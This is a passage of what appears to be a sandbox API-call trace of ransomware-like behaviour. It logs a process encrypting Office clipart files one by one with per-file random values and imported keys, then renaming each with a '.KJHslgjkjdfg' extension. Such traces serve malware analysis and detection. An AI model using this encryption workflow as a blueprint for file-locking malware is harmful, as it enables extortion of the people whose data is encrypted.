lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbb80, lpOverlapped=0x0) returned 1 [0154.609] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.609] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbc54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.609] SetEndOfFile (hFile=0x114) returned 1 [0154.612] GetProcessHeap () returned 0x2a0000 [0154.612] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.612] GetProcessHeap () returned 0x2a0000 [0154.612] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.612] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.kjhslgjkjdfg")) returned 1 [0154.614] CloseHandle (hObject=0x114) returned 1 [0154.614] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0154.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.615] GetProcessHeap () returned 0x2a0000 [0154.615] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.615] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.615] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.615] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0154.618] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.618] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.618] GetProcessHeap () returned 0x2a0000 [0154.618] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.618] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.618] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.618] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.618] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.618] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.618] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.618] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.618] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.618] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.618] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.618] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.618] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9d0e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9d0e, lpOverlapped=0x0) returned 1 [0154.620] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9d10, dwBufLen=0x9d10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9d10) returned 1 [0154.620] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.620] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9d10, lpOverlapped=0x0) returned 1 [0154.620] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.620] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.620] SetEndOfFile (hFile=0x114) returned 1 [0154.623] GetProcessHeap () returned 0x2a0000 [0154.623] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.623] GetProcessHeap () returned 0x2a0000 [0154.623] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.623] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.kjhslgjkjdfg")) returned 1 [0154.624] CloseHandle (hObject=0x114) returned 1 [0154.624] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0154.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.624] GetProcessHeap () returned 0x2a0000 [0154.625] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.625] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.625] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.625] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0154.627] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.627] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.627] GetProcessHeap () returned 0x2a0000 [0154.627] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.627] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.627] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.627] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.627] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.627] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.627] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.627] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.627] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.627] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.627] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.627] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.627] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbaaa, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbaaa, lpOverlapped=0x0) returned 1 [0154.629] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbab0, dwBufLen=0xbab0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbab0) returned 1 [0154.629] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.629] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbab0, lpOverlapped=0x0) returned 1 [0154.629] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.629] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.629] SetEndOfFile (hFile=0x114) returned 1 [0154.632] GetProcessHeap () returned 0x2a0000 [0154.632] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.632] GetProcessHeap () returned 0x2a0000 [0154.632] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.632] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.kjhslgjkjdfg")) returned 1 [0154.633] CloseHandle (hObject=0x114) returned 1 [0154.633] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0154.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.634] GetProcessHeap () returned 0x2a0000 [0154.634] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.634] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.634] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.634] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.636] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.636] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.636] GetProcessHeap () returned 0x2a0000 [0154.636] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.636] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.636] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.636] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.636] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.637] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.637] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.637] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.637] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.637] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.637] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.637] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.637] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x38cc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x38cc, lpOverlapped=0x0) returned 1 [0154.638] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x38d0, dwBufLen=0x38d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x38d0) returned 1 [0154.638] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.638] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x38d0, lpOverlapped=0x0) returned 1 [0154.639] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.639] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x39a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.639] SetEndOfFile (hFile=0x114) returned 1 [0154.641] GetProcessHeap () returned 0x2a0000 [0154.641] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.641] GetProcessHeap () returned 0x2a0000 [0154.641] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.641] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.kjhslgjkjdfg")) returned 1 [0154.642] CloseHandle (hObject=0x114) returned 1 [0154.642] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0154.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.644] GetProcessHeap () returned 0x2a0000 [0154.644] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.644] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.644] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.644] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0154.646] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.646] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.646] GetProcessHeap () returned 0x2a0000 [0154.646] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.646] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.646] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.646] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.646] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.646] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.647] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.647] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.647] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.647] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.647] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.647] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.647] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x504a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x504a, lpOverlapped=0x0) returned 1 [0154.648] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5050, dwBufLen=0x5050 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5050) returned 1 [0154.648] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.648] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5050, lpOverlapped=0x0) returned 1 [0154.648] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.648] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.648] SetEndOfFile (hFile=0x114) returned 1 [0154.651] GetProcessHeap () returned 0x2a0000 [0154.651] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.651] GetProcessHeap () returned 0x2a0000 [0154.651] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.651] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.kjhslgjkjdfg")) returned 1 [0154.652] CloseHandle (hObject=0x114) returned 1 [0154.652] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, 